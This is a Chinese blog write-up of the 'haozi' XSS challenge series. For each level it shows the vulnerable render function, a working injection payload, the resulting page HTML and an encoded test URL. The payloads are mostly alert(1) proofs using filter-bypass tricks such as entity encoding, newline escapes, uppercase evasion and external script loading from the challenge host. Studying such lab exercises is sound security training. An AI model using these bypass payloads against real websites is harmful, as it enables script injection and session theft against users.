耗子XSS

本文最后更新于:2022年8月11日 下午

耗子XSS

0x00

  • server 源码
1
2
3
function render (input) {
return '<div>' + input + '</div>'
}
  • 插入代码
1
<script>alert(1)</script>
  • 网页代码
1
<div><script>alert(1)</script></div>
  • URL
1
http://xss.test/?input=%3Cscript%3Ealert(1)%3C%2Fscript%3E

0x01

  • server 源码

输入参数被放在文本标签里,文本标签前后闭合即可

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}
  • 插入代码
1
</textarea><script>alert(1)</script><textarea>
  • 网页代码
1
<textarea></textarea><script>alert(1)</script><textarea></textarea>
  • URL
1
http://xss.test/?input=%3C%2Ftextarea%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3Ctextarea%3E

0x02

  • server 源码

参数作为 <input> 标签的 value 回显到前端,可以闭合 value 加上onclick事件,或者闭合 <input> 添加 alert

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}
  • 插入代码
1
2
3
'"><script>alert(1)</script>

" onclick=alert(1) "
  • 网页代码
1
2
3
<input type="name" value="'"><script>alert(1)</script>">

<input type="name" value="" onclick=alert(1) "">
  • URL
1
2
3
http://xss.test/?input='%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E

http://xss.test/?input=%22%20onclick%3Dalert(1)%20%22

0x03

  • server 源码

过滤括号 [()],可以使用反引号代替,html编码绕过,或者引用外部js文件

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
  • 插入代码
1
2
3
4
5
# 反引号
<script>alert`1`</script>

# html编码绕过
<img src=# onerror=alert&#x28;1&#x29;>
  • 网页代码
1
2
3
4
5
# 反引号
<script>alert`1`</script>

# html编码绕过
<img src=# onerror=alert&#x28;1&#x29;>
  • URL
1
2
3
4
5
6
# 反引号
http://xss.test/?input=%3Cscript%3Ealert%601%60%3C%2Fscript%3E%20

# html编码绕过
http://xss.test/?input=%3Cimg%20src%3D%23%20onerror%3Dalert%26%23x28%3B1%26%23x29%3B%3E

0x04

  • server 源码

反引号也被过滤,html编码绕过

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
  • 插入代码
1
<img src=# onerror=alert&#x28;1&#x29;> 
  • 网页代码
1
<img src=# onerror=alert&#x28;1&#x29;>
  • URL
1
http://xss.test/?input=%3Cimg%20src%3D%23%20onerror%3Dalert%26%23x28%3B1%26%23x29%3B%3E%20

0x05

  • server 源码

过滤 –> 防止标签闭合,–!> 同样可以闭合标签

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
  • 插入代码
1
--!><img src=# onerror=alert&#x28;1&#x29;> 
  • 网页代码
1
<!-- --!><img src=# onerror=alert&#x28;1&#x29;>  -->
  • URL
1
http://xss.test/?input=--!%3E%3Cimg%20src%3D%23%20onerror%3Dalert%26%23x28%3B1%26%23x29%3B%3E%20

0x06

  • server 源码

过滤 auto|on.*=|> ,使用换行绕过

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
  • 插入代码
1
2
type="image" src=# onerror
=alert(1)
  • 网页代码
1
2
<input value=1 type="image" src=# onerror
=alert(1) type="text">
  • URL
1
http://xss.test/?input=type%3D%22image%22%20src%3D%23%20onerror%0A%3Dalert(1)

0x07

  • server 源码

过滤 </?[^>]+> ,对<>括起来的内容进行过滤替换成空,但是由于HTML的容错性极高,所以,对于不闭合也能接受

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
  • 插入代码
1
<img src=# onerror=alert(1)
  • 网页代码
1
<article><img src=# onerror=alert(1) </article>
  • URL
1
http://xss.test/?input=%3Cimg%20src%3D%23%20onerror%3Dalert(1)%20

0x08

  • server 源码

过滤 标签, 加空格即可绕过

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
  • 插入代码
1
</style > <script>alert(1)</script>
  • 网页代码
1
2
3
<style>
</style > <script>alert(1)</script>
</style>
  • URL
1
http://xss.test/?input=%3C%2Fstyle%20%3E%20%3Cscript%3Ealert(1)%3C%2Fscript%3E

0x09

  • server 源码

过滤了不是以https://www.sogmentfault.com开头的字符串,以https://www.sogmentfault.com开头,闭合标签即可

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
  • 插入代码
1
https://www.segmentfault.com"></script> <img src=# onerror="alert(1) 
  • 网页代码
1
<script src="https://www.segmentfault.com"></script> <img src=# onerror="alert(1) "></script>
  • URL
1
http://xss.test/?input=https%3A%2F%2Fwww.segmentfault.com%22%3E%3C%2Fscript%3E%20%3Cimg%20src%3D%23%20onerror%3D%22alert(1)%20

0x0A

  • server 源码

将 & ‘ “ < > / 符号转为实体编码,在URL中会解析@后面的网址,如果没弹出来试试换个浏览器,低版本火狐可以弹出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
  • 插入代码
1
[<script>alert(1)</script>](https://www.segmentfault.com@xss.haozi.me/j.js)
  • 网页代码
1
<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>
  • URL
1
http://xss.test/?input=https%3A%2F%2Fwww.segmentfault.com%40xss.haozi.me%2Fj.js

0x0B

  • server 源码

输入内容大写,HTML对大小写不敏感,但是JavaScript对大小写敏感,则ALERT()无法执行,需要想办法绕过对JavaScript的的大写转换:

  1. html编码绕过
  2. 外部js文件绕过
1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
  • 插入代码
1
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
  • 网页代码
1
2
<h1><IMG SRC=X ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
</h1>
  • URL
1
http://xss.test/?input=%3Cimg%20src%3Dx%20onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(1)%3E%0A

0x0C

  • server 源码

上题基础增加 script 过滤

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
  • 插入代码
1
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
  • 网页代码
1
2
<h1><IMG SRC=X ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)> 
</h1>
  • URL
1
http://xss.test/?input=%3Cimg%20src%3Dx%20onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(1)%3E%20%0A

0x0D

  • server 源码

输入内容带入到了注释中,可以用换行逃逸。由于过滤了单引号’,所以后面的’)可以用–>注释掉。

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
  • 插入代码
1
2
3
') 
alert(1)
-->
  • 网页代码
1
2
3
4
5
<script>
// alert(')
alert(1)
-->')
</script>
  • URL
1
http://xss.test/?input=')%20%0Aalert(1)%0A--%3E

0x0E

  • server 源码

标签里的第一个字母前加上下划线_,并且大写输入所有字母,ſ是古英语中的s的写法, 转成大写是正常的S

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
  • 插入代码
1
<ſcript src="https://xss.haozi.me/j.js" ></script>
  • 网页代码
1
<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS" ></SCRIPT></h1>
  • URL
1
http://xss.test/?input=%3C%C5%BFcript%20src%3D%22https%3A%2F%2Fxss.haozi.me%2Fj.js%22%20%3E%3C%2Fscript%3E

0x0F

  • server 源码

  • 闭合绕过

  • 注释后面内容

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
  • 插入代码
1
2
');alert('1
');alert(1)//
  • 网页代码
1
2
<img src onerror="console.error('&#39;);alert(&#39;1')">
<img src onerror="console.error('&#39;);alert(1)&#x2f;&#x2f;')">
  • URL
1
2
http://xss.test/?input=')%3Balert('1
http://xss.test/?input=')%3Balert(1)%2F%2F

0x10

  • server 源码

  • 闭合标签

  • 堆叠注入

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
  • 插入代码
1
2
3
</script>``<script>alert(1)
1;alert(1);

  • 网页代码
1
2
3
4
5
6
7
8
<script>
window.data = </script>`
`<script>alert(1)
</script>

<script>
window.data = 1;alert(1);
</script>
  • URL
1
2
3
http://xss.test/?input=%3C%2Fscript%3E%60%0A%60%3Cscript%3Ealert(1)

http://xss.test/?input=1%3Balert(1)%3B

0x11

  • server 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
  • 插入代码
1
2
");alert(1);("
");alert(1);//
  • 网页代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
var url = 'javascript:console.log("\");alert(1);(\"")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>

<script>
var url = 'javascript:console.log("\");alert(1);\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
  • URL
1
2
3
http://xss.test/?input=%22)%3Balert(1)%3B(%22

http://xss.test/?input=%22)%3Balert(1)%3B%2F%2F

0x12

  • server 源码

“被替换成了\,用\进行转义

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
  • 插入代码
1
\");alert(1)//
  • 网页代码
1
<script>console.log("\\");alert(1)//");</script>
  • URL
1
http://xss.test/?input=%5C%22)%3Balert(1)%2F%2F

耗子XSS
https://worisur.github.io/2022/08/11/2022-08-11.耗子XSS/
作者
worisur
发布于
2022年8月11日
许可协议